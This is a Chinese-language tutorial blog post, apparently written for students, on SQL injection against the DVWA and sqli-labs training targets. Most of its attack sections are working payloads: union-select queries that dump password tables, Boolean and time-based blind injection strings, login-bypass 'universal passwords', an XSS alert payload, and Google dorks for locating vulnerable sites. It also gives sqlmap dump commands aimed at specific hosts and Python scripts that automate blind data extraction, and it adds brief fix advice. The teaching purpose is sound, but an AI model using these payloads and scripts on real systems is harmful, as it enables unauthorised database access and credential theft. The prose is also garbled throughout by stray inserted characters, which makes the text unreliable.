首發(fā)地址:我的個人博客
前言
本文章產(chǎn)生的緣由是因為專業(yè)老師歇由,讓我給本專業(yè)的同學(xué)講一哈SQL注入和XSS入門葵硕,也就是本文的入門篇,講完兩節(jié)課后,發(fā)現(xiàn)自己對于SQL注入的理解也就僅僅局限于入門探熔,于是有了后面章節(jié)的產(chǎn)生。
入門篇
一瞄桨、課程目標(biāo)
聽完這節(jié)課你能學(xué)到些什么??
- 知道什么是Sql注入
- 實現(xiàn)最基礎(chǔ)的Sql注入
- 學(xué)會使用SqlMap工具
- 了解一些Web安全基本知識
二遣疯、初識SQL注入
1 什么是SQL
SQL(Structured Query Language) 是用于
訪問和處理數(shù)據(jù)庫
的標(biāo)準(zhǔn)的計算機(jī)語言,SQL與數(shù)據(jù)庫程序協(xié)同工作,比如 SQL Server扶镀、MySQL蕴侣、Oracle、SQLite臭觉、MongoDB昆雀、PostgreSQL、MS Access蝠筑、DB2以及其他數(shù)據(jù)庫系統(tǒng)狞膘。
SQL執(zhí)行流程
2 什么是SQL注入
SQL注入是指web應(yīng)用程序?qū)?strong>用戶輸入數(shù)據(jù)的合法性沒有判斷或過濾不嚴(yán),攻擊者可以在web應(yīng)用程序中事先定義好的查詢語句的結(jié)尾上添加額外的SQL語句什乙,以此來實現(xiàn)欺騙數(shù)據(jù)庫服務(wù)器執(zhí)行非授權(quán)的任意查詢挽封,從而得到相應(yīng)的數(shù)據(jù)信息。
通俗來說:OWASP Top10之一臣镣,SQL注入是通過將惡意的SQL語句
插入到Web應(yīng)用的輸入?yún)?shù)中场仲,欺騙服務(wù)器
執(zhí)行惡意的SQL命令的攻擊和悦。
SQL注入流程
3 SQL注入分類
根據(jù)SQL數(shù)據(jù)類型分類
- 整型注入
- 字符型注入
根據(jù)注入的語法分類
- 聯(lián)合查詢注入(Union query SQL injection)
- 報錯型注入(Error-based SQL injection)
- 布爾型注入(Boolean-based blind SQL injection)
- 延時注入(Time-based blind SQL injection)
- 多語句查詢注入 (Stacted queries SQL injection)
三、初試SQL注入
1 手工注入常規(guī)思路
1.判斷是否存在注入渠缕,注入是字符型還是數(shù)字型
2.猜解 SQL 查詢語句中的字段數(shù)
3.確定顯示的字段順序
4.獲取當(dāng)前數(shù)據(jù)庫
5.獲取數(shù)據(jù)庫中的表
6.獲取表中的字段名
7.顯示字段信息
2 實現(xiàn)完整手工注入
靶機(jī):DVWA
將DVWA的級別設(shè)置為low鸽素,可以看到源碼中是一句簡單的查詢語句,沒有進(jìn)行任何過過濾
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';
因此我們完全可以插入自己想要執(zhí)行的sql語句亦鳞,那么我們開始吧馍忽!
輸入我們輸入1,那么執(zhí)行的語句就是
SELECT first_name, last_name FROM users WHERE user_id = '1'
1.判斷注入是字符型還是數(shù)字型
字符型和數(shù)字型最大區(qū)別: 數(shù)字型不需要單引號來閉合燕差,而字符串一般需要通過單引號來閉合的
數(shù)字型:select * from table where id =$id
字符型:select * from table where id='$id'
判斷數(shù)字型
1 and 1=1 #永真式 select * from table where id=1 and 1=1
1 and 1=2 #永假式 select * from table where id=1 and 1=2
#if頁面運行錯誤遭笋,則說明此Sql注入為數(shù)字型注入。
判斷字符型
1' and '1'='1
1' and '1'='2
#if頁面運行錯誤徒探,則說明此 Sql 注入為字符型注入瓦呼。
執(zhí)行上面兩種方式一種就可得出結(jié)論,顯示這個是字符型注入
2.猜解SQL查詢語句中的字段數(shù)
1' or 1=1 order by 1 # 查詢成功 【order by x 對第幾列進(jìn)行排序】1' order by 1 # id=‘1‘ #’ 注釋
1' or 1=1 order by 2 # 查詢成功
1' or 1=1 order by 3 # 查詢失敗
[圖片上傳失敗...(image-675df1-1589763722101)]
說明執(zhí)行的SQL查詢語句中只有兩個字段测暗,即這里的First name央串、Surname。
3.確定顯示的字段順序
1' union select 1,2 #
說明執(zhí)行的SQL語句為select First name,Surname from xx where ID='id'
理解select 1,2:例如一個網(wǎng)站的參數(shù)傳遞執(zhí)行的查詢有3個字段碗啄,很可能這些字段不是都顯示在網(wǎng)頁前端的质和,假如其中的1或2個字段的查詢結(jié)果是會返回到前端的,那么我們就需要知道這3個字段中哪兩個結(jié)果會回顯稚字,這個過程相當(dāng)于找到數(shù)據(jù)庫與前端顯示的通道饲宿。如果我們直接輸入查詢字段進(jìn)行查詢,語句會非常冗長胆描,而且很可能還需要做很多次測試瘫想,這時候我們利用一個簡單的select 1,2,3,根據(jù)顯示在頁面上的數(shù)字就可以知道哪個數(shù)字是這個“通道”昌讲,那么我們只需要把這個數(shù)字改成我們想查詢的內(nèi)容(如id,password)殿托,當(dāng)數(shù)據(jù)爆破成功后,就會在窗口顯示我們想要的結(jié):果剧蚣。
4.獲取當(dāng)前數(shù)據(jù)庫
上步知道字段顯示順序支竹,那我們在字段2的位置上顯示數(shù)據(jù)庫試試
1' union select 1,database() #
說明當(dāng)前的數(shù)據(jù)庫為dvwa。
5.獲取數(shù)據(jù)庫中的表
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
1' union select 1,table_name from information_schema.tables where table_schema='dvwa' #
information_schema.tables存儲了數(shù)據(jù)表的元數(shù)據(jù)信息鸠按,下面對常用的字段進(jìn)行介紹:
- table_schema: 記錄數(shù)據(jù)庫名礼搁;
- table_name: 記錄數(shù)據(jù)表名;
- engine : 存儲引擎目尖;
- table_rows: 關(guān)于表的粗略行估計馒吴;
- data_length : 記錄表的大小(單位字節(jié));
- index_length : 記錄表的索引的大小;
- row_format: 可以查看數(shù)據(jù)表是否壓縮過饮戳;
[圖片上傳失敗...(image-a76ec8-1589763722101)]
說明數(shù)據(jù)庫dvwa中一共有兩個表豪治,guestbook與users。
6.獲取表中的字段名
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #
[圖片上傳失敗...(image-195c58-1589763722101)]
說明users表中有8個字段扯罐,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login
7.獲取字段信息
1' union select group_concat(user_id,first_name),group_concat(password) from users #
1' union select group_concat(concat_ws(':',first_name,password)),2 from users #
1' union select first_name,password from users #
這樣就得到了users表中所有用戶的user_id,first_name,last_name,password的數(shù)據(jù)负拟。
3 實戰(zhàn)演練一哈
就以我自己搭建的靶機(jī)為例子??
在主頁搜索框發(fā)現(xiàn)注入點,話不多說開始注入
#判斷注入類型 #【數(shù)字型】
1 and 1=1
1 and 1=2
#查詢數(shù)據(jù)庫 #【test】
-1 union select 1,2,database()
#獲取數(shù)據(jù)庫中的表 #【admin歹河、news】
-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='test'
#獲取表中的字段名 #【 user_id掩浙、user_name、user_pass】
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='admin'
#獲取字段信息 【admin:mysql】
-1 union select 1,group_concat(user_name),group_concat(user_pass) from admin
-1 union select 1,user_name,user_pass from admin
我們又快速的實現(xiàn)了一次手工注入秸歧,但是你有沒和我一樣的感覺厨姚,太麻煩了,有更方便的方法嗎键菱,emm...
當(dāng)然有啦谬墙,使用SqlMap工具可以快速實現(xiàn)注入??
四、使用SqlMap注入
具體使用方法請問我之前寫的文章??sqlmap使用方法
SqlMap初體驗
接著使用上面靶機(jī)進(jìn)行測試
#查詢數(shù)據(jù)庫 #【test】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 --dbs
#獲取數(shù)據(jù)庫中的表 #【admin经备、news】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test --tables
#獲取表中的字段名 #【 user_id拭抬、user_name、user_pass】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test -T admin --columns
#獲取字段信息 【admin:mysql】
python sqlmap.py -u http://139.224.112.182:8801/search.php?id=1 -D test -T admin -C user_name,user_pass --dump
一道CTF題目
題目:簡單的sql注入2
地址:http://139.224.112.182:8087/ctf_collect
解析:http://www.reibang.com/p/1aeedef99f21
1.查詢當(dāng)前數(shù)據(jù)庫(空格被過濾可以使用tamper腳本中space2comment)
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dbs
發(fā)現(xiàn)web1數(shù)據(jù)庫
2.查詢數(shù)據(jù)庫中的表
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment -D web1 --tables
發(fā)現(xiàn)flag表
3.查詢flag表中字段名
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --columns -T flag -D web1
發(fā)現(xiàn)flag字段
4.查詢字段flag信息
python sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper=space2comment --dump -C flag -T flag -D web1
<img src="https://i.loli.net/2020/05/04/TfZAoObdMPiLJIt.png" style="zoom: 80%;" />
五弄喘、發(fā)現(xiàn)注入點
1 使用漏洞掃描工具
工具:OWASP ZAP玖喘、D盾甩牺、Seay
萬能密碼:
1' or 1=1 # 用戶名和密碼都可
' or '1'='1' --
1' or '1'='1 密碼才可
<script>alert(1);</script>
2 通過Google Hacking 尋找SQL注入
看到這里我們已經(jīng)完成了一次最基礎(chǔ)的GET字符型Sql注入蘑志,有人可能會問了,這是自己搭建的靶機(jī)贬派,知道是存在sql注入急但,真實環(huán)境中如何去發(fā)現(xiàn)Sql注入呢
inurl:php?id=
inurl:.asp?id=
inurl:index.php?id=
inurl:showproduct.asp?id=
site:http://139.224.112.182:8802/ inurl:php?id
site:https://jwt1399.top inurl:.html
......
服務(wù)器報錯,并把錯誤信息返回到網(wǎng)頁上面搞乏。根據(jù)錯誤信息波桩,判斷這里大概率存在注入點。
六请敦、 修復(fù)建議
- 過濾用戶輸入的數(shù)據(jù)镐躲。默認(rèn)情況下,應(yīng)當(dāng)認(rèn)為用戶的所有輸入都是不安全的侍筛。
- 對于整數(shù)萤皂,判斷變量是否符合[0-9]的值;其他限定值匣椰,也可以進(jìn)行合法性校驗裆熙;
- 對于字符串,對SQL語句特殊字符進(jìn)行轉(zhuǎn)義(單引號轉(zhuǎn)成兩個單引號,雙引號轉(zhuǎn)成兩個雙引號)入录。
- 綁定變量蛤奥,使用預(yù)編譯語句
進(jìn)階篇
SQL注入前你要知道
不要急于進(jìn)行SQL注入,請先看完這部分僚稿,很重要凡桥!,很重要贫奠!唬血,很重要!
1.基本的SQL語句查詢源碼
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
# LIMIT [偏移量],行數(shù)
通常情況下聯(lián)合查詢(union)時需要將前面的查詢結(jié)果限定為空集唤崭,后面的查詢結(jié)果才能顯示出來拷恨。例如id值設(shè)為負(fù)數(shù)或0,因為帶有LIMIT 0,1
則只能顯示一條數(shù)據(jù)
?id=-1 union select 1,2,3
?id=0 union select 1,2,3
?id=-1' union select 1,2,group_concat(username,password) from users
2.MySQL數(shù)據(jù)庫幾種注釋
注釋符 | 描述 |
---|---|
# |
單行注釋 URL編碼 %23 谢肾,在URL框直接使用中# 號必須用%23 來表示腕侄,#在URL框中有特定含義,代表錨點 |
--空格 |
單行注釋 芦疏,實際使用中--空格 用--+ 來表示冕杠。因為在URL框中,瀏覽器在發(fā)送請求的時候會把URL末尾的空格舍去酸茴,所以用--+ 代替--空格
|
/* */ |
塊注釋 |
/*! */ |
內(nèi)聯(lián)注釋 |
3.數(shù)據(jù)庫相關(guān)--Information_schema庫
-
information_schema
分预,系統(tǒng)數(shù)據(jù)庫,包含所有數(shù)據(jù)庫相關(guān)信息薪捍。 -
information_schema.schemata
中schema_name
列笼痹,字段為所有數(shù)據(jù)庫名稱。 -
information_schema.tables
中table_name
列對應(yīng)數(shù)據(jù)庫所有表名 -
information_schema.columns
中酪穿,column_name
列對應(yīng)所有列名
5.連接字符串函數(shù)
concat(),concat_ws()與及group_concat()的用法
concat(str1,str2,…)
——沒有分隔符地連接字符串concat_ws(separator,str1,str2,…)
——含有分隔符地連接字符串group_concat(str1,str2,…)
——連接一個組的所有字符串凳干,并以逗號分隔每一條數(shù)據(jù),知道這三個函數(shù)能一次性查出所有信息就行了被济。
6.MySQL常用的系統(tǒng)函數(shù)
version() #MySQL版本
user() #數(shù)據(jù)庫用戶名
database() #數(shù)據(jù)庫名
@@basedir #數(shù)據(jù)庫安裝路徑
@@datadir #數(shù)據(jù)庫文件存放路徑
@@version_compile_os #操作系統(tǒng)版本
盲注
SQL盲注救赐,與一般注入的區(qū)別在于,一般的注入攻擊者可以直接從頁面上看到注入語句的執(zhí)行結(jié)果只磷,而盲注時攻擊者通常是無法從顯示頁面上獲取執(zhí)行結(jié)果经磅,甚至連注入語句是否執(zhí)行都無從得知畏陕,因此盲注的難度要比一般注入高。目前網(wǎng)絡(luò)上現(xiàn)存的SQL注入漏洞大多是SQL盲注牺荠。
手工盲注思路
手工盲注的過程担扑,就像你與一個機(jī)器人聊天利术,
這個機(jī)器人知道的很多,但只會回答“是
”或者“不是
”细燎,
因此你需要詢問它這樣的問題档冬,例如“數(shù)據(jù)庫名字的第一個字母是不是a懊战搿喻旷?
”
通過這種機(jī)械的詢問乾戏,最終獲得你想要的數(shù)據(jù)。
手工盲注的步驟
1.判斷是否存在注入懊蒸,注入是字符型還是數(shù)字型
2.猜解當(dāng)前數(shù)據(jù)庫名
3.猜解數(shù)據(jù)庫中的表名
4.猜解表中的字段名
5.猜解數(shù)據(jù)
盲注常用函數(shù)
函數(shù) | 描述 |
---|---|
left(字符串荣倾,截取長度) | 從左邊截取指定長度的字符串 |
length(字符串) | 獲取字符串的長度 |
ascii(字符串) | 將指定字符串進(jìn)行ascii編碼 |
substr(字符串,start骑丸,截取長度) | 截取字符串舌仍,可以指定起始位置和長度 |
mid(字符串,start通危,截取長度) | 截取字符串铸豁,可以指定起始位置和長度 |
count() | 計算總數(shù),返回匹配條件的行數(shù)菊碟。 |
sleep(n) | 將程序掛起n秒 |
if(參數(shù)1节芥,參數(shù)2,參數(shù)3) | 參數(shù)1為條件逆害,當(dāng)參數(shù)1返回的結(jié)果為true時头镊,執(zhí)行參數(shù)2,否則執(zhí)行參數(shù)3 |
布爾盲注
布爾注入利用情景
- 頁面上沒有顯示位魄幕,并且沒有輸出SQL語句執(zhí)行錯誤信息
- 只能通過頁面返回正常與不正常判斷
實現(xiàn)完整手工布爾盲注
靶機(jī):sqli-labs第5關(guān)
1 .查看頁面變化相艇,判斷sql注入類別
?id=1 and 1=1
?id=1 and 1=2
【字符型】
2.猜解數(shù)據(jù)庫長度
使用length()判斷數(shù)據(jù)庫長度,二分法可提高效率
?id=1' and length(database())>5 --+
?id=1' and length(database())<10 --+
?id=1' and length(database())=8 --+
【length=8】
3.猜當(dāng)前數(shù)據(jù)庫名
方法1:使用substr函數(shù)
?id=1' and substr(database(),1,1)>'r'--+
?id=1' and substr(database(),1,1)<'t'--+
?id=1' and substr(database(),1,1)='s'--+
?id=1' and substr(database(),2,1)='e'--+
...
?id=1' and substr(database(),8,1)='y'--+
【security】
方法2:使用ascii函數(shù)和substr函數(shù)
?id=1' and ascii(substr(database(),1,1))>114 --+
?id=1' and ascii(substr(database(),1,1))<116 --+
?id=1' and ascii(substr(database(),1,1))=115 --+
【security】
方法3:使用left函數(shù)
?id=1' and left(database(),1)>'r'--+
?id=1' and left(database(),1)<'t'--+
?id=1' and left(database(),1)='s' --+
?id=1' and left(database(),2)='se' --+
?id=1' and left(database(),3)='sec' --+
...
?id=1' and left(database(),8)='security' --+
【security】
方法4:使用Burpsuite的Intruder模塊
將獲取數(shù)據(jù)庫第一個字符的請求包攔截并發(fā)送到Intruder模塊
設(shè)置攻擊變量以及攻擊類型
設(shè)置第一個攻擊變量纯陨,這個變量是控制第幾個字符的
設(shè)置第二個攻擊變量坛芽,這個變量是數(shù)據(jù)庫名字符
開始攻擊,一小會就能得到測試結(jié)果队丝,通過對長度和變量進(jìn)行排序可以看到數(shù)據(jù)庫名成功得到
4.判斷表的個數(shù)
count()函數(shù)是用來統(tǒng)計表中記錄的一個函數(shù)靡馁,返回匹配條件的行數(shù)欲鹏。
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())>0 --+
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+
【4個表】
5.判斷表的長度
limit可以被用于強(qiáng)制select語句返回指定的條數(shù)机久。
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 0,1))=6 --+
【第一個表長度為6】
?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit 1,1))=8 --+
【第二個表長度為8】
6.猜解表名
方法1:使用substr函數(shù)
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'d' --+
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)>'f' --+
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='e' --+
...
?id=1' and substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),6,1)='s' --+
【第一個表名為emails】
方法2:使用Burpsuite的Intruder模塊
使用方法跟上方獲得數(shù)據(jù)庫名一樣,就不贅述了
7.猜解字段名和字段信息
#確定字段個數(shù)
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')>0 --+
?id=1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name = 'users')=3 --+
【字段個數(shù)為3】
#確定字段名的長度
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1))>0 --+
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1))=2 --+
?id=1' and length((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 1,1))=8 --+
【第一個字段長度為2赔嚎,第二個字段長度為8】
#猜字段名 同上使用burp
?id=1' and substr((select column_name from information_schema.columns where table_schema=database() and table_name = 'users' limit 0,1),1,1)='i' --+
【...id,username,password...】
#確定字段數(shù)據(jù)長度
?id=1' and length((select username from users limit 0,1))=4 --+
【第一個字段數(shù)據(jù)長度為4】
#猜解字段數(shù)據(jù) 同上使用burp
?id=1' and substr((select username from users limit 0,1),1,1)='d' --+
?id=1' and ascii(substr((select username from users limit 0,1),1,1))>79 --+
【第一個username數(shù)據(jù)為dumb】
使用SQLmap實現(xiàn)布爾盲注
--batch: 用此參數(shù)膘盖,不需要用戶輸入胧弛,將會使用sqlmap提示的默認(rèn)值一直運行下去。
--technique:選擇注入技術(shù)侠畔,B:Boolean-based-blind (布爾型盲注)
--threads 10 :設(shè)置線程為10结缚,運行速度會更快
#查詢數(shù)據(jù)庫 #【security】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B --dbs --batch --threads 10
#獲取數(shù)據(jù)庫中的表 #【emails、referers软棺、uagents红竭、users】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B -D security --tables --batch --threads 10
#獲取表中的字段名 #【id、username喘落、password】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B -D security -T users --columns --batch --threads 10
#獲取字段信息 #【Dumb|Dumb茵宪、dhakkan|dumbo ...】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-5/?id=1 --technique B -D security -T users -C username,password --dump --batch --threads 10
腳本實現(xiàn)布爾盲注
1.獲取數(shù)據(jù)庫名長度
# coding:utf-8
import requests
# 獲取數(shù)據(jù)庫名長度
def database_len():
for i in range(1, 10):
url = '''http://139.224.112.182:8087/sqli1/Less-5/'''
payload = '''?id=1' and length(database())=%d''' %i
r = requests.get(url + payload + '%23') # %23 <==> --+
if 'You are in' in r.text:
print('database_length:', i)
break
else:
print(i)
database_len()
# 【database_length: 8】
2.獲取數(shù)據(jù)庫名
# coding:utf-8
import requests
#獲取數(shù)據(jù)庫名
def database_name():
name = ''
for j in range(1,9):
for i in '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_':
url = "http://139.224.112.182:8087/sqli1/Less-5/"
payload = "?id=1' and substr(database(),%d,1)='%s' --+" %(j, i)
r = requests.get(url + payload)
if 'You are in' in r.text:
name = name + i
print(name)
break
print('database_name:', name)
database_name()
# 【database_name: security】
3.獲取數(shù)據(jù)庫中表
# coding:utf-8
import requests
# 獲取數(shù)據(jù)庫表
def tables_name():
name = ''
for j in range(1, 30):
for i in 'abcdefghijklmnopqrstuvwxyz,':
url = "http://139.224.112.182:8087/sqli1/Less-5/"
payload = '''?id=1' and substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s' --+''' % (j, i)
r = requests.get(url + payload)
if 'You are in' in r.text:
name = name + i
print(name)
break
print('table_name:', name)
tables_name()
#【table_name: emails,referers,uagents,users】
4.獲取表中字段
# coding:utf-8
import requests
# 獲取表中字段
def columns_name():
name = ''
for j in range(1, 30):
for i in 'abcdefghijklmnopqrstuvwxyz,':
url = "http://139.224.112.182:8087/sqli1/Less-5/"
payload = "?id=1' and substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),%d,1)='%s' --+" %(j, i)
r = requests.get(url + payload)
if 'You are in' in r.text:
name = name + i
print(name)
break
print('column_name:', name)
columns_name()
#【column_name: id,username,password】
5.獲取字段值
# coding:utf-8
import requests
# 獲取字段值
def value():
name = ''
for j in range(1, 100):
for i in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
url = "http://139.224.112.182:8087/sqli1/Less-5/"
payload = "?id=1' and substr((select group_concat(username,password) from users),%d,1)='%s' --+" %(j, i)
r = requests.get(url + payload)
if 'You are in' in r.text:
name = name + i
print(name)
break
print('value:', name)
value()
時間盲注
時間注入利用情景
- 頁面上沒有顯示位
- 沒有輸出報錯語句
- 正確的sql語句和錯誤的sql語句頁面返回一致
手工實現(xiàn)時間盲注
靶機(jī):sqli-labs第9關(guān)
?id=1
?id=1'
?id=1"
#不管怎么樣都不報錯,不管對錯一直顯示一個固定的頁面瘦棋;
#判斷注入點
?id=1' and sleep(3)--+
#頁面響應(yīng)延遲稀火,判斷存在時間延遲型注入
#獲取數(shù)據(jù)庫名長度
?id=1' and if(length(database())=8,sleep(3),1)--+
#獲取數(shù)據(jù)庫名
?id=1' and if(substr(database(),1,1)='s',sleep(3),1)--+
結(jié)合Burpsuite的Intruder模塊
爆破數(shù)據(jù)庫名
將獲取數(shù)據(jù)庫第一個字符的請求包攔截并發(fā)送到Intruder模塊
設(shè)置攻擊變量以及攻擊類型
設(shè)置第一個攻擊變量,這個變量是控制第幾個字符的
設(shè)置第二個攻擊變量赌朋,這個變量是數(shù)據(jù)庫名字符
開始攻擊凰狞,一小會就能得到測試結(jié)果,通過對長度和變量進(jìn)行排序可以看到數(shù)據(jù)庫名成功得到
獲取表名沛慢、字段名赡若、字段信息等數(shù)據(jù)方法同上,就不贅述了
使用SQLmap實現(xiàn)時間盲注
--batch: 用此參數(shù)团甲,不需要用戶輸入斩熊,將會使用sqlmap提示的默認(rèn)值一直運行下去。
--technique:選擇注入技術(shù)伐庭,-T:Time-based blind (基于時間延遲注入)
--threads 10 :設(shè)置線程為10粉渠,運行速度會更快。
#查詢數(shù)據(jù)庫 #【security】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T --dbs --batch --threads 10
#獲取數(shù)據(jù)庫中的表 #【emails圾另、referers霸株、uagents、users】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T -D security --tables --batch --threads 10
#獲取表中的字段名 #【id集乔、username去件、password】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T -D security -T users --columns --batch --threads 10
#獲取字段信息 【Dumb|Dumb、dhakkan|dumbo ...】
python sqlmap.py -u http://139.224.112.182:8087/sqli1/Less-9/?id=1 --technique T -D security -T users -C username,password --dump --batch --threads 10
腳本實現(xiàn)時間盲注
1.獲取數(shù)據(jù)庫名長度
# coding:utf-8
import requests
import datetime
# 獲取數(shù)據(jù)庫名長度
def database_len():
for i in range(1, 10):
url = '''http://139.224.112.182:8087/sqli1/Less-9/'''
payload = '''?id=1' and if(length(database())=%d,sleep(3),1)--+''' %i
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 3:
print('database_len:', i)
break
else:
print(i)
database_len()
2.獲取數(shù)據(jù)庫名
# coding:utf-8
import requests
import datetime
#獲取數(shù)據(jù)庫名
def database_name():
name = ''
for j in range(1, 9):
for i in '0123456789abcdefghijklmnopqrstuvwxyz_':
url = '''http://139.224.112.182:8087/sqli1/Less-9/'''
payload = '''?id=1' and if(substr(database(),%d,1)='%s',sleep(1),1) --+''' % (j,i)
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 1:
name = name + i
print(name)
break
print('database_name:', name)
database_name()
獲取表名扰路、字段名尤溜、字段信息等數(shù)據(jù)的腳本類似上面布爾盲注腳本,就不贅述了
SQL注入靶場
DVWA
SQL-Injection
Low
分析:
由代碼可知汗唱,通過
REQUEST
方式接受傳遞的參數(shù)id宫莱,再通過sql語句帶入查詢,并未設(shè)置任何過濾哩罪,因此可以進(jìn)行sql注入利用授霸。常見注入測試的POC:
1.判斷是否存在注入巡验,注入是字符型還是數(shù)字型
當(dāng)輸入的參數(shù)為字符串時,稱為字符型碘耳。字符型和數(shù)字型最大的一個區(qū)別在于显设,數(shù)字型不需要單引號來閉合,而字符串一般需要通過單引號來閉合的辛辨。
輸入1捕捂,查詢成功
輸入1'and '1' ='2,查詢失敗斗搞,返回結(jié)果為空:
輸入1' or '1'='1 頁面正常绞蹦,并返回更多信息,成功查詢
判斷存在的是字符型注入榜旦。
2.猜解SQL查詢語句中的字段數(shù)
1' or 1=1 order by 1 #
查詢成功
1' or 1=1 order by 2 #
查詢成功 #是注釋作用
1' or 1=1 order by 3 #
查詢失敗
說明執(zhí)行的SQL查詢語句中只有兩個字段幽七,即這里的First name、Surname溅呢。
3.確定顯示的字段順序
輸入1' union select 1,2 # 查詢成功: #是注釋作用
說明執(zhí)行的SQL語句為select First name,Surname from 表 where ID=’id’…
4.獲取當(dāng)前數(shù)據(jù)庫
輸入1' union select 1,database() # 查詢成功:#是注釋作用
說明當(dāng)前的數(shù)據(jù)庫為dvwa澡屡。
5.獲取數(shù)據(jù)庫中的表
輸入1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() # 查詢成功: #是注釋作用
說明數(shù)據(jù)庫dvwa中一共有兩個表,guestbook與users咐旧。
6.獲取表中的字段名
輸入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' # 查詢成功: #是注釋作用
說明users表中有8個字段驶鹉,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
7.下載數(shù)據(jù)
輸入1' or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #铣墨,查詢成功: #是注釋作用
這樣就得到了users表中所有用戶的user_id,first_name,last_name,password的數(shù)據(jù)室埋。
Medium
分析:
Medium級別的代碼利用mysql_real_escape_string函數(shù)對特殊符號\x00,\n,\r,,’,”,\x1a進(jìn)行轉(zhuǎn)義,同時前端頁面設(shè)置了下拉選擇表單伊约,希望以此來控制用戶的輸入姚淆。
漏洞利用
雖然前端使用了下拉選擇菜單,但我們依然可以通過抓包改參數(shù)屡律,提交惡意構(gòu)造的查詢參數(shù)腌逢。
1.判斷是否存在注入,注入是字符型還是數(shù)字型
抓包更改參數(shù)id為1' or 1=1 # 報錯: #是注釋作用
抓包更改參數(shù)id為1 or 1=1 #超埋,查詢成功
說明存在數(shù)字型注入搏讶。
(由于是數(shù)字型注入,服務(wù)器端的mysql_real_escape_string函數(shù)就形同虛設(shè)了霍殴,因為數(shù)字型注入并不需要借助引號媒惕。)
2.猜解SQL查詢語句中的字段數(shù)
抓包更改參數(shù)id為1 order by 2 #,查詢成功:
抓包更改參數(shù)id為1 order by 3 #来庭,報錯:
說明執(zhí)行的SQL查詢語句中只有兩個字段妒蔚,即這里的First name、Surname。
3.確定顯示的字段順序
抓包更改參數(shù)id為1 union select 1,2 #面睛,查詢成功:
說明執(zhí)行的SQL語句為select First name,Surname from 表 where ID=id…
4.獲取當(dāng)前數(shù)據(jù)庫
抓包更改參數(shù)id為1 union select 1,database() #絮蒿,查詢成功:
說明當(dāng)前的數(shù)據(jù)庫為dvwa尊搬。
5.獲取數(shù)據(jù)庫中的表
抓包更改參數(shù)id為1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #叁鉴,查詢成功:
說明數(shù)據(jù)庫dvwa中一共有兩個表,guestbook與users佛寿。
6.獲取表中的字段名
抓包更改參數(shù)id為1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #幌墓,查詢失敗:
這是因為單引號被轉(zhuǎn)義了冀泻,變成了\'
常侣。可以利用16進(jìn)制進(jìn)行繞過 ''
抓包更改參數(shù)id為1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #弹渔,查詢成功:
說明users表中有8個字段胳施,分別是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。
7.下載數(shù)據(jù)
抓包修改參數(shù)id為1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #肢专,查詢成功:
這樣就得到了users表中所有用戶的user_id,first_name,last_name,password的數(shù)據(jù)舞肆。
High
分析:
與Medium級別的代碼相比,High級別的只是在SQL查詢語句中添加了LIMIT 1博杖,希望以此控制只輸出一個結(jié)果椿胯。
漏洞利用:
雖然添加了LIMIT 1,但是我們可以通過#將其注釋掉剃根。由于手工注入的過程與Low級別基本一樣哩盲,直接最后一步演示下載數(shù)據(jù)。
輸入1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #狈醉,查詢成功:
